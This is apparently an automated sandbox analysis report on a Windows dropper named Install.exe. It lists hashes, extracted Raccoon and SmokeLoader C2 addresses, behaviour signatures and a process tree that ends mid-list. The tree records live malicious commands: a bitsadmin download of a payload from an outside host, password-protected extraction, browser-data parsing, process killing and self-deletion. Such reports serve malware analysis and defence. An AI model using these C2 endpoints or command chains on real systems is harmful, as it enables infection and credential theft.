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Analysis

  • max time kernel
    602s
  • max time network
    601s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    22-04-2021 19:05

General

  • Target

    Install.exe

  • Size

    497KB

  • MD5

    41a5f4fd1ea7cac4aa94a87aebccfef0

  • SHA1

    0d0abf079413a4c773754bf4fda338dc5b9a8ddc

  • SHA256

    97e95e99fd499ec45a7c1d8683d5731ce5e7a8fb8b710622e578cd169a00d8d9

  • SHA512

    5ca14bda498f26efff4e1179969b8f2c25244063c7bf25f3ec20b5cd24b5be320bbfb8b3d0b2d66f5c5b415da777a766fece5f251a4247773c6cb991417fb75f

Malware Config

Extracted

Family

raccoon

Botnet

9afb493c6f82d08075dbbfa7d93ce97f1dbf4733

Attributes
  • url4cnc

    https://tttttt.me/antitantief3

rc4.plain
rc4.plain

Extracted

Family

smokeloader

Version

2020

C2

http://999080321newfolder1002002131-service1002.space/

http://999080321newfolder1002002231-service1002.space/

http://999080321newfolder3100231-service1002.space/

http://999080321newfolder1002002431-service1002.space/

http://999080321newfolder1002002531-service1002.space/

http://999080321newfolder33417-012425999080321.space/

http://999080321test125831-service10020125999080321.space/

http://999080321test136831-service10020125999080321.space/

http://999080321test147831-service10020125999080321.space/

http://999080321test146831-service10020125999080321.space/

http://999080321test134831-service10020125999080321.space/

http://999080321est213531-service1002012425999080321.ru/

http://999080321yes1t3481-service10020125999080321.ru/

http://999080321test13561-service10020125999080321.su/

http://999080321test14781-service10020125999080321.info/

http://999080321test13461-service10020125999080321.net/

http://999080321test15671-service10020125999080321.tech/

http://999080321test12671-service10020125999080321.online/

http://999080321utest1341-service10020125999080321.ru/

http://999080321uest71-service100201dom25999080321.ru/

rc4.i32
rc4.i32

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 35 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks for any installed AV software in registry 1 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 10 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 14 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • NSIS installer 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 6 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 28 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s Themes
    1⤵
      PID:1192
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
      1⤵
        PID:1056
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s Schedule
        1⤵
        • Drops file in System32 directory
        PID:788
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
        1⤵
          PID:1004
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s UserManager
          1⤵
            PID:1232
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s SENS
            1⤵
              PID:1408
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
              1⤵
                PID:1820
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
                1⤵
                  PID:2492
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
                  1⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2448
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s WpnService
                  1⤵
                    PID:2764
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
                    1⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2708
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s Browser
                    1⤵
                      PID:2836
                    • C:\Users\Admin\AppData\Local\Temp\Install.exe
                      "C:\Users\Admin\AppData\Local\Temp\Install.exe"
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:500
                      • C:\Users\Admin\AppData\Local\Temp\is-BE2HF.tmp\Install.tmp
                        "C:\Users\Admin\AppData\Local\Temp\is-BE2HF.tmp\Install.tmp" /SL5="$7005E,235791,152064,C:\Users\Admin\AppData\Local\Temp\Install.exe"
                        2⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Suspicious use of WriteProcessMemory
                        PID:2344
                        • C:\Users\Admin\AppData\Local\Temp\is-B69HM.tmp\Ultra.exe
                          "C:\Users\Admin\AppData\Local\Temp\is-B69HM.tmp\Ultra.exe" /S /UID=burnerch1
                          3⤵
                          • Drops file in Drivers directory
                          • Executes dropped EXE
                          • Adds Run key to start application
                          • Drops file in Program Files directory
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:2200
                          • C:\Program Files\Windows Defender Advanced Threat Protection\PKROONOTGP\ultramediaburner.exe
                            "C:\Program Files\Windows Defender Advanced Threat Protection\PKROONOTGP\ultramediaburner.exe" /VERYSILENT
                            4⤵
                            • Executes dropped EXE
                            • Suspicious use of WriteProcessMemory
                            PID:1052
                            • C:\Users\Admin\AppData\Local\Temp\is-0RH07.tmp\ultramediaburner.tmp
                              "C:\Users\Admin\AppData\Local\Temp\is-0RH07.tmp\ultramediaburner.tmp" /SL5="$3011C,281924,62464,C:\Program Files\Windows Defender Advanced Threat Protection\PKROONOTGP\ultramediaburner.exe" /VERYSILENT
                              5⤵
                              • Executes dropped EXE
                              • Drops file in Program Files directory
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of FindShellTrayWindow
                              • Suspicious use of WriteProcessMemory
                              PID:3668
                              • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                                "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                                6⤵
                                • Executes dropped EXE
                                PID:3820
                          • C:\Users\Admin\AppData\Local\Temp\b8-e8372-77c-6b0b8-3f7ab400a10e9\ZHuhejocaevo.exe
                            "C:\Users\Admin\AppData\Local\Temp\b8-e8372-77c-6b0b8-3f7ab400a10e9\ZHuhejocaevo.exe"
                            4⤵
                            • Executes dropped EXE
                            • Checks computer location settings
                            • Modifies system certificate store
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1312
                          • C:\Users\Admin\AppData\Local\Temp\1c-bf25c-024-2c5ac-bf6249a125063\Cipaetehahae.exe
                            "C:\Users\Admin\AppData\Local\Temp\1c-bf25c-024-2c5ac-bf6249a125063\Cipaetehahae.exe"
                            4⤵
                            • Executes dropped EXE
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of WriteProcessMemory
                            PID:3636
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\dfgjrmqt.0hc\instEU.exe & exit
                              5⤵
                              • Suspicious use of WriteProcessMemory
                              PID:4168
                              • C:\Users\Admin\AppData\Local\Temp\dfgjrmqt.0hc\instEU.exe
                                C:\Users\Admin\AppData\Local\Temp\dfgjrmqt.0hc\instEU.exe
                                6⤵
                                • Executes dropped EXE
                                PID:4408
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\msz5xlut.5jz\gpooe.exe & exit
                              5⤵
                                PID:4456
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ithtpuz0.hg0\google-game.exe & exit
                                5⤵
                                • Suspicious use of WriteProcessMemory
                                PID:4224
                                • C:\Users\Admin\AppData\Local\Temp\ithtpuz0.hg0\google-game.exe
                                  C:\Users\Admin\AppData\Local\Temp\ithtpuz0.hg0\google-game.exe
                                  6⤵
                                  • Executes dropped EXE
                                  • Suspicious use of SetWindowsHookEx
                                  • Suspicious use of WriteProcessMemory
                                  PID:4304
                                  • C:\Windows\SysWOW64\rundll32.exe
                                    "C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
                                    7⤵
                                    • Loads dropped DLL
                                    • Modifies registry class
                                    • Suspicious use of AdjustPrivilegeToken
                                    • Suspicious use of WriteProcessMemory
                                    PID:4628
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\gdakhhlk.v4f\md1_1eaf.exe & exit
                                5⤵
                                • Suspicious use of WriteProcessMemory
                                PID:4524
                                • C:\Users\Admin\AppData\Local\Temp\gdakhhlk.v4f\md1_1eaf.exe
                                  C:\Users\Admin\AppData\Local\Temp\gdakhhlk.v4f\md1_1eaf.exe
                                  6⤵
                                  • Executes dropped EXE
                                  • Checks whether UAC is enabled
                                  PID:4204
                              • C:\Windows\System32\cmd.exe
                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rt0l00l0.ehx\askinstall36.exe & exit
                                5⤵
                                  PID:4132
                                  • C:\Users\Admin\AppData\Local\Temp\rt0l00l0.ehx\askinstall36.exe
                                    C:\Users\Admin\AppData\Local\Temp\rt0l00l0.ehx\askinstall36.exe
                                    6⤵
                                    • Executes dropped EXE
                                    • Modifies system certificate store
                                    PID:4504
                                    • C:\Windows\SysWOW64\cmd.exe
                                      cmd.exe /c taskkill /f /im chrome.exe
                                      7⤵
                                        PID:2132
                                        • C:\Windows\SysWOW64\taskkill.exe
                                          taskkill /f /im chrome.exe
                                          8⤵
                                          • Kills process with taskkill
                                          PID:2236
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vrggbwga.vwa\RFXFITOEHV.exe & exit
                                    5⤵
                                      PID:4376
                                      • C:\Users\Admin\AppData\Local\Temp\vrggbwga.vwa\RFXFITOEHV.exe
                                        C:\Users\Admin\AppData\Local\Temp\vrggbwga.vwa\RFXFITOEHV.exe
                                        6⤵
                                        • Executes dropped EXE
                                        PID:4808
                                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\main.exe
                                          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\main.exe"
                                          7⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                          PID:4636
                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\parse.exe
                                            parse.exe -f json -b firefox
                                            8⤵
                                            • Executes dropped EXE
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            PID:5948
                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\parse.exe
                                            parse.exe -f json -b chrome
                                            8⤵
                                            • Executes dropped EXE
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            PID:5776
                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\parse.exe
                                            parse.exe -f json -b edge
                                            8⤵
                                            • Executes dropped EXE
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            PID:6112
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\gfiyqiz3.hwa\y1.exe & exit
                                      5⤵
                                        PID:4216
                                        • C:\Users\Admin\AppData\Local\Temp\gfiyqiz3.hwa\y1.exe
                                          C:\Users\Admin\AppData\Local\Temp\gfiyqiz3.hwa\y1.exe
                                          6⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          PID:4184
                                          • C:\Users\Admin\AppData\Local\Temp\Iwnmzqrc8u.exe
                                            "C:\Users\Admin\AppData\Local\Temp\Iwnmzqrc8u.exe"
                                            7⤵
                                            • Executes dropped EXE
                                            • Modifies system certificate store
                                            PID:4672
                                            • C:\Users\Admin\AppData\Roaming\1619125830990.exe
                                              "C:\Users\Admin\AppData\Roaming\1619125830990.exe" /sjson "C:\Users\Admin\AppData\Roaming\1619125830990.txt"
                                              8⤵
                                                PID:3988
                                              • C:\Windows\SysWOW64\cmd.exe
                                                cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\Iwnmzqrc8u.exe"
                                                8⤵
                                                  PID:5424
                                                  • C:\Windows\SysWOW64\PING.EXE
                                                    ping 127.0.0.1 -n 3
                                                    9⤵
                                                    • Runs ping.exe
                                                    PID:4716
                                              • C:\Windows\SysWOW64\cmd.exe
                                                cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\gfiyqiz3.hwa\y1.exe"
                                                7⤵
                                                  PID:5484
                                                  • C:\Windows\SysWOW64\timeout.exe
                                                    timeout /T 10 /NOBREAK
                                                    8⤵
                                                    • Delays execution with timeout.exe
                                                    PID:5612
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bsjl1qqs.low\toolspab1.exe & exit
                                              5⤵
                                                PID:4540
                                                • C:\Users\Admin\AppData\Local\Temp\bsjl1qqs.low\toolspab1.exe
                                                  C:\Users\Admin\AppData\Local\Temp\bsjl1qqs.low\toolspab1.exe
                                                  6⤵
                                                  • Executes dropped EXE
                                                  • Suspicious use of SetThreadContext
                                                  • Suspicious use of WriteProcessMemory
                                                  PID:4132
                                                  • C:\Users\Admin\AppData\Local\Temp\bsjl1qqs.low\toolspab1.exe
                                                    C:\Users\Admin\AppData\Local\Temp\bsjl1qqs.low\toolspab1.exe
                                                    7⤵
                                                    • Executes dropped EXE
                                                    • Loads dropped DLL
                                                    • Checks SCSI registry key(s)
                                                    • Suspicious behavior: MapViewOfSection
                                                    PID:5588
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\z3rzpy54.ozx\SunLabsPlayer.exe /S & exit
                                                5⤵
                                                  PID:3492
                                                  • C:\Users\Admin\AppData\Local\Temp\z3rzpy54.ozx\SunLabsPlayer.exe
                                                    C:\Users\Admin\AppData\Local\Temp\z3rzpy54.ozx\SunLabsPlayer.exe /S
                                                    6⤵
                                                    • Executes dropped EXE
                                                    • Loads dropped DLL
                                                    • Drops file in Program Files directory
                                                    PID:5232
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsb15BD.tmp\tempfile.ps1"
                                                      7⤵
                                                        PID:5836
                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsb15BD.tmp\tempfile.ps1"
                                                        7⤵
                                                          PID:6044
                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsb15BD.tmp\tempfile.ps1"
                                                          7⤵
                                                            PID:5684
                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsb15BD.tmp\tempfile.ps1"
                                                            7⤵
                                                              PID:5336
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsb15BD.tmp\tempfile.ps1"
                                                              7⤵
                                                                PID:5788
                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsb15BD.tmp\tempfile.ps1"
                                                                7⤵
                                                                  PID:4040
                                                                  • C:\Windows\System32\Conhost.exe
                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                    8⤵
                                                                    • Executes dropped EXE
                                                                    PID:3988
                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsb15BD.tmp\tempfile.ps1"
                                                                  7⤵
                                                                  • Checks for any installed AV software in registry
                                                                  PID:4468
                                                                • C:\Windows\SysWOW64\bitsadmin.exe
                                                                  "bitsadmin" /Transfer helper http://sunlabsinternational.com/data/data.7z C:\zip.7z
                                                                  7⤵
                                                                  • Download via BitsAdmin
                                                                  PID:4848
                                                                • C:\Program Files (x86)\lighteningplayer\data_load.exe
                                                                  "C:\Program Files (x86)\lighteningplayer\data_load.exe" -pXModaxNw9V0MI8B -y x C:\zip.7z -o"C:\Program Files\temp_files\"
                                                                  7⤵
                                                                  • Executes dropped EXE
                                                                  PID:2032
                                                                • C:\Program Files (x86)\lighteningplayer\data_load.exe
                                                                  "C:\Program Files (x86)\lighteningplayer\data_load.exe" -peQFeVle8bIIZ63j -y x C:\zip.7z -o"C:\Program Files\temp_files\"
                                                                  7⤵
                                                                  • Executes dropped EXE
                                                                  PID:856
                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsb15BD.tmp\tempfile.ps1"
                                                                  7⤵
                                                                    PID:5640
                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsb15BD.tmp\tempfile.ps1"
                                                                    7⤵
                                                                      PID:4108
                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsb15BD.tmp\tempfile.ps1"
                                                                      7⤵
                                                                        PID:5104
                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsb15BD.tmp\tempfile.ps1"
                                                                        7⤵
                                                                          PID:492
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsb15BD.tmp\tempfile.ps1"
                                                                          7⤵
                                                                            PID:4432
                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                            C:\Windows\System32\rundll32.exe "C:\Program Files (x86)\rjtzvgWnL\rjtzvgWnL.dll" rjtzvgWnL
                                                                            7⤵
                                                                            • Loads dropped DLL
                                                                            PID:636
                                                                            • C:\Windows\system32\rundll32.exe
                                                                              C:\Windows\System32\rundll32.exe "C:\Program Files (x86)\rjtzvgWnL\rjtzvgWnL.dll" rjtzvgWnL
                                                                              8⤵
                                                                              • Loads dropped DLL
                                                                              • Drops file in System32 directory
                                                                              PID:4552
                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsb15BD.tmp\tempfile.ps1"
                                                                            7⤵
                                                                              PID:4860
                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsb15BD.tmp\tempfile.ps1"
                                                                              7⤵
                                                                              • Drops file in Program Files directory
                                                                              PID:4952
                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsb15BD.tmp\tempfile.ps1"
                                                                              7⤵
                                                                                PID:4816
                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsb15BD.tmp\tempfile.ps1"
                                                                                7⤵
                                                                                  PID:3672
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsb15BD.tmp\tempfile.ps1"
                                                                                  7⤵
                                                                                    PID:4652
                                                                                  • C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe
                                                                                    "C:\Program Files (x86)\lighteningplayer\lighteningplayer-cache-gen.exe" C:\Program Files (x86)\lighteningplayer\plugins\ /SILENT
                                                                                    7⤵
                                                                                    • Executes dropped EXE
                                                                                    • Loads dropped DLL
                                                                                    PID:5284
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ryeuikpf.fkm\inst.exe & exit
                                                                                5⤵
                                                                                  PID:4896
                                                                                  • C:\Users\Admin\AppData\Local\Temp\ryeuikpf.fkm\inst.exe
                                                                                    C:\Users\Admin\AppData\Local\Temp\ryeuikpf.fkm\inst.exe
                                                                                    6⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:5508
                                                                                • C:\Windows\System32\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hq0epalg.nwj\c7ae36fa.exe & exit
                                                                                  5⤵
                                                                                    PID:5220
                                                                                    • C:\Users\Admin\AppData\Local\Temp\hq0epalg.nwj\c7ae36fa.exe
                                                                                      C:\Users\Admin\AppData\Local\Temp\hq0epalg.nwj\c7ae36fa.exe
                                                                                      6⤵
                                                                                      • Executes dropped EXE
                                                                                      • Loads dropped DLL
                                                                                      • Checks SCSI registry key(s)
                                                                                      • Suspicious behavior: MapViewOfSection
                                                                                      PID:5680
                                                                                  • C:\Windows\System32\cmd.exe
                                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hnklfgx3.ll5\app.exe /8-2222 & exit
                                                                                    5⤵
                                                                                      PID:5372
                                                                            • \??\c:\windows\system32\svchost.exe
                                                                              c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                              1⤵
                                                                              • Suspicious use of SetThreadContext
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              • Suspicious use of WriteProcessMemory
                                                                              PID:3968
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                2⤵
                                                                                • Drops file in System32 directory
                                                                                • Checks processor information in registry
                                                                                • Modifies data under HKEY_USERS
                                                                                • Modifies registry class
                                                                                PID:4828
                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                              1⤵
                                                                              • Drops file in Windows directory
                                                                              • Modifies Internet Explorer settings
                                                                              • Modifies registry class
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:2188
                                                                            • C:\Windows\system32\browser_broker.exe
                                                                              C:\Windows\system32\browser_broker.exe -Embedding
                                                                              1⤵
                                                                              • Modifies Internet Explorer settings
                                                                              PID:4260
                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                              1⤵
                                                                              • Modifies registry class
                                                                              • Suspicious behavior: MapViewOfSection
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              • Suspicious use of WriteProcessMemory
                                                                              PID:4940
                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                              1⤵
                                                                              • Modifies Internet Explorer settings
                                                                              • Modifies registry class
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              PID:5084
                                                                            • C:\Users\Admin\AppData\Local\Temp\F5AB.exe
                                                                              C:\Users\Admin\AppData\Local\Temp\F5AB.exe
                                                                              1⤵
                                                                              • Executes dropped EXE
                                                                              PID:5660
                                                                            • C:\Users\Admin\AppData\Local\Temp\25E.exe
                                                                              C:\Users\Admin\AppData\Local\Temp\25E.exe
                                                                              1⤵
                                                                              • Executes dropped EXE
                                                                              • Loads dropped DLL
                                                                              PID:6116
                                                                            • C:\Users\Admin\AppData\Local\Temp\AEB.exe
                                                                              C:\Users\Admin\AppData\Local\Temp\AEB.exe
                                                                              1⤵
                                                                              • Executes dropped EXE
                                                                              • Suspicious use of SetThreadContext
                                                                              PID:4292
                                                                              • C:\Windows\SysWOW64\explorer.exe
                                                                                "C:\Windows\SysWOW64\explorer.exe"
                                                                                2⤵
                                                                                  PID:3624
                                                                                  • C:\Users\Admin\AppData\Roaming\5FEE.tmp.exe
                                                                                    "C:\Users\Admin\AppData\Roaming\5FEE.tmp.exe"
                                                                                    3⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:4624
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Remove.bat" "4624" "C:\Users\Admin\AppData\Roaming\5FEE.tmp.exe""
                                                                                      4⤵
                                                                                        PID:5840
                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                          taskkill /F /PID "4624"
                                                                                          5⤵
                                                                                          • Kills process with taskkill
                                                                                          PID:5092
                                                                                        • C:\Windows\system32\choice.exe
                                                                                          choice /C Y /N /D Y /T 3
                                                                                          5⤵
                                                                                            PID:5496
                                                                                      • C:\Users\Admin\AppData\Roaming\6241.tmp.exe
                                                                                        "C:\Users\Admin\AppData\Roaming\6241.tmp.exe"
                                                                                        3⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:5320
                                                                                      • C:\Users\Admin\AppData\Roaming\6427.tmp.exe
                                                                                        "C:\Users\Admin\AppData\Roaming\6427.tmp.exe"
                                                                                        3⤵
                                                                                        • Executes dropped EXE
                                                                                        • Suspicious use of SetThreadContext
                                                                                        PID:4476
                                                                                        • C:\Windows\SysWOW64\explorer.exe
                                                                                          "C:\Windows\SysWOW64\explorer.exe"
                                                                                          4⤵
                                                                                          • Drops startup file
                                                                                          PID:5972
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Windows\SysWOW64\explorer.exe" >> NUL
                                                                                        3⤵
                                                                                          PID:4584
                                                                                          • C:\Windows\SysWOW64\PING.EXE
                                                                                            ping 127.0.0.1
                                                                                            4⤵
                                                                                            • Runs ping.exe
                                                                                            PID:4512
                                                                                    • C:\Users\Admin\AppData\Local\Temp\11E1.exe
                                                                                      C:\Users\Admin\AppData\Local\Temp\11E1.exe
                                                                                      1⤵
                                                                                      • Executes dropped EXE
                                                                                      PID:496
                                                                                    • C:\Users\Admin\AppData\Local\Temp\14D0.exe
